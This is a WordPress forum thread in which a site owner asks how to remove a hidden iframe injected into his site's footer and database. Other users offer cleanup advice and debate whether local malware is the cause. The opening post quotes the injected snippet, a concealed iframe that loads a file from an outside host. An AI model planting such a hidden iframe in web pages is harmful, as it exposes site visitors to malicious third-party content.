Iframe Virus/Malware Detection In WordPress Footer

  • noouman

    (@noouman)


    13 years ago

    Hi Everyone,

    I have been using wordpress since long time and have started a blog https://www.allabthair.com which is recently infected with a virus/malware that something look like this:

    <style type=”text/css”>#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id=”yavvw” src=”https://3i17cu.estateplanningservices.co.za/ad.jpg?11″></iframe&gt;

    When i check my site through https://web-sniffer.net/ and https://unmaskparasites.com/ and both of these sites show that iframe is added at the end of the script of my website. I looked everyone for this code in wordpress installation files, uploads, contents but i am still unable to find this information in the wordpress. When i gone through my Sql database by downloading sql file in the local machine i am able to find it there. But i am non techie so i dont know where to find and remove this in the installation files as all seems as clean so can anyone help me to finding and removing this script. I tried to make a fresh installation of my wordpress but i think my database is infection so when i re-install wordpress this infection comes back automatically.

    I am really frustrated with removing this infection. Can someone help me in cleaning my database through PHPMYADMIN or anyother way which i can do myself?

    Help me on remove Iframe Virus/Malware Infection.

    I shall be very thankful to you.

Viewing 8 replies - 1 through 8 (of 8 total)

  • Check each and every index.php in all of your themes, in addition to the index.php in your wordpress root directory.

    Make sure you tighten up permissions.
    https://codex.www.ads-software.com/Hardening_WordPress

    This just happened to me last week — ads started showing up on different WordPress site that I manage. I thought it was the hosting company — that we had been hacked — but it turned out to be a malware / virus / trojen / whatever has gotten into my system and now I am beginning to see ads appearing on other websites — when there shouldn’t be any ads.

    I still haven’t been able to remove it yet from my system.

    The ads are being injected in the browser with javascript and an iframe.

    You should probably go through the steps described here: https://codex.www.ads-software.com/FAQ_My_site_was_hacked

    Hi Rachelbaker,

    I guess you didn’t fully read my post — the websites were not hacked but a malware or whatever is in my computer and it injects the Google ads into various website.

    Again my website was not hacked and I believe that is the same problem Noouman was posting about 10 months ago.

    I just wanted other users to be aware that is a possibility if they are seeing the samw things I am — Ads on your WordPress site — down under the footer and it is in an iframe. You can see it in the source code when viewing the page — but it doesn’t exist in the WordPress site.

    Crandlemire,

    I understood your post. However if your local machine is infected with malware you can be passing an infection to your WordPress website.

    The second item on the FAQ My Site was hacked article is:

    Scan your local machine.
    Sometimes the malware was introduced through a compromised desktop system. Make sure you run a full anti-virus/malware scan on your local machine. Some viruses are good at detecting AV software and hiding from them. So maybe try a different one. This advice generally only applies to Windows systems.

    Except, as I made it clear, that the malware was not passed on to the website. Whatever it is I have, ONLY exist on the local machine and it places it on different websites (not all of them) in an iframe.

    Your post, while insightful, didn’t really address the issues here at hand — nor with the original person’s post.

    If you have some definet answers to the problem at hand it would be much appreciated — I and others really need it.

    Thanks.

    If this problem is with your local machine only, then it’s not a WordPress issue at all. Try posting on a dedicated AV or malware forum.

    Yes, I was just trying to answer the original post from noouman — which I found while doing a Google search to my own problem.

    I know you are a forum moderator esmi, but anyone else that wants to comment on what I have written please read the entire thread to these post so we are not merely answering a piece of it.

    Thanks.

Viewing 8 replies - 1 through 8 (of 8 total)
  • The topic ‘Iframe Virus/Malware Detection In WordPress Footer’ is closed to new replies.